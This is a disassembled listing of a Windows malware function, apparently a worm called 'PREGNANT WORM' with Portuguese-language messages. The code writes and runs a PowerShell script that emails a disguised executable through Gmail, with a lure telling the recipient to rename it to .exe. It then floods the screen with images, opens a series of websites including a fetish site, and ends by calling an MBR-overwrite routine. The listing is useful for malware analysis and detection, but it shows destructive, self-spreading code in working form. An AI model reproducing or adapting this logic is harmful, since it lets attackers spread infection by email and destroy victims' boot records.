Function at 0x4015c6
Capabilities:
Execute command
Write and execute a file
Write file on windows

Disassembly:
push rbp
mov rbp, rsp
sub rsp, 0x30
call sym.__main
lea rdx, section..rdata
lea rcx, str.email.ps1
call sym.fopen
mov qword [rbp - 8], rax
cmp qword [rbp - 8], 0
jne 0x4015fb
mov eax, 1
jmp 0x4018fb
mov eax, dword [0x0040ecc0]
mov edx, eax
mov rax, qword [rbp - 8]
mov r9, rax
mov r8, rdx
mov edx, 1
lea rcx, str._smtpServer___smtp.gmail.com__r_n_smtpFrom___alvarocalista087_gmail.com__r_n_smtpTo___luan123davidgamer1236_gmail.com__r_n_messageSubject___Ei___r_n_messageBody___Voc_sabia_que_voc_pode_turbinar_seus_clculos_com_o_mcCalculer__Baixe_ele_atravs_deste_link_e_pare_de_quebrar_sua_cabea_na_escola_com_clculos_inteis__OBS:_Mude_a_extenso_para_.exe__pois_por_motivos_de_segurana__o_gmail_no_permite_o_envio_de_arquivos_com_a_extenso_.exe.__r_n_attachment___C:CPREG_VIRUS_binReleasePREG_VIRUS.dmg__r_n_smtp__New_Object_Net.Mail.SmtpClient__smtpServer__r_n_msg__New_Object_Net.Mail.MailMessage__smtpFrom___smtpTo___messageSubject___messageBody__r_n_msg.Attachments.Add__attachment__r_n_smtp.Send_
call sym.fwrite
mov rax, qword [rbp - 8]
mov rcx, rax
call sym.fclose
lea rcx, str.start_email.ps1
call sym.system
lea rdx, [0x0049204f]
mov ecx, 0
call sym.setlocale
lea rax, [0x00495970]
mov dword [rax], 0
jmp 0x401683
lea rcx, str.D_GUARD:_O_Protetor_Da_Internet_t
call sym.printf
lea rcx, str.__Copyright_c__2023
call sym.puts
lea rax, [0x00495970]
mov eax, dword [rax]
lea edx, [rax + 1]
lea rax, [0x00495970]
mov dword [rax], edx
lea rax, [0x00495970]
mov eax, dword [rax]
cmp eax, 9
jle 0x401656
mov ecx, 0xfa0
call sym.Sleep
lea rcx, [0x00492085]
call sym.system
lea rcx, str.Ol._Seu_computador_foi_infectado_pelo_PREGNANT_WORM__na_traduo:_Worm_da_gravidez
call sym.puts
mov ecx, 0x1770
call sym.Sleep
lea rcx, [0x00492085]
call sym.system
lea rcx, str.Este_pequeno_programa__destrutivo___uma_demonstrao_de_como_os_Worms_podem_se_espalhar
call sym.printf
mov ecx, 0x1b58
call sym.Sleep
lea rcx, [0x00492085]
call sym.system
lea rcx, str.Veja_o_que_este_malware_pode_fazer:
call sym.printf
mov ecx, 0x3e8
call sym.Sleep
lea rcx, [0x00492085]
call sym.system
lea rcx, str.1___Abrir_arquivos_que_voc_no_baixou
call sym.printf
lea rax, [0x00495970]
mov dword [rax], 0
jmp 0x4017af
lea rdx, section..rdata
lea rcx, str.preg.jpg
call sym.fopen
mov qword [rbp - 0x10], rax
cmp qword [rbp - 0x10], 0
jne 0x40175f
lea rcx, str.Erro_ao_abrir_o_arquivo
call sym.perror
mov eax, 1
jmp 0x4018fb
mov eax, dword [0x0040e9f8]
mov edx, eax
mov rax, qword [rbp - 0x10]
mov r9, rax
mov r8, rdx
mov edx, 1
lea rcx, [0x00404020]
call sym.fwrite
mov rax, qword [rbp - 0x10]
mov rcx, rax
call sym.fclose
lea rcx, str.start_preg.jpg
call sym.system
lea rax, [0x00495970]
mov eax, dword [rax]
lea edx, [rax + 1]
lea rax, [0x00495970]
mov dword [rax], edx
lea rax, [0x00495970]
mov eax, dword [rax]
cmp eax, 0x13
jle 0x40172b
lea rcx, str.Resultado:_Voc_est_indignado_e_seu_computador_ficou_lento_com_um_monte_de_imagens_de_mulheres_grvidas__at_bonitas..._
call sym.printf
mov ecx, 0x1388
call sym.Sleep
lea rcx, [0x00492085]
call sym.system
lea rcx, str.2___Abrir_links_que_voc_nem_se_quer_pensou_em_abrir
call sym.printf
lea rax, [0x00495970]
mov dword [rax], 0
jmp 0x401867
lea rcx, str.start_https:__www.youtube.com_watch_v5RKIZvHwYLUlistPLXZT2m_XEtumgmwBRkRwrkGmlFCOs1ie8index64
call sym.system
lea rcx, str.start_https:__www.portaldozacarias.com.br
call sym.system
lea rcx, str.start_https:__www.baidu.com
call sym.system
lea rcx, str.start_https:__www.curvage.org
call sym.system
lea rcx, str.start_https:__www.olx.com.br
call sym.system
lea rcx, str.start_https:__www.shopee.com.br
call sym.system
lea rcx, str.start_https:__www.pregophilia.com
call sym.system
lea rax, [0x00495970]
mov eax, dword [rax]
lea edx, [rax + 1]
lea rax, [0x00495970]
mov dword [rax], edx
lea rax, [0x00495970]
mov eax, dword [rax]
cmp eax, 4
jle 0x4017fe
lea rcx, str.Resultado:_Voc_est_traumatizado_e_seu_computador_talvez_foi_infectado_por_outros_malwares
call sym.printf
mov ecx, 0x1388
call sym.Sleep
lea rcx, [0x00492085]
call sym.system
lea rcx, str.3___Espalhar_o_vrus_para_outros_computadores_da_rede
call sym.printf
mov ecx, 0x3e8
call sym.Sleep
lea rcx, str._nO_Worm_foi_espalhado_via_Powershell_para_outro_computador_antes_mesmo_de_voc_ler_esta_mensagem...
call sym.printf
mov ecx, 0x1388
call sym.Sleep
lea rcx, [0x00492085]
call sym.system
lea rcx, str.4___Sobrescrever_sua_MBR
call sym.printf
lea rcx, str.Adeus_amigo__foi_bom_te_conhecer...
call sym.printf
mov ecx, 0x7d0
call sym.Sleep
call sym.mbr_kill
mov eax, 0
add rsp, 0x30
pop rbp
ret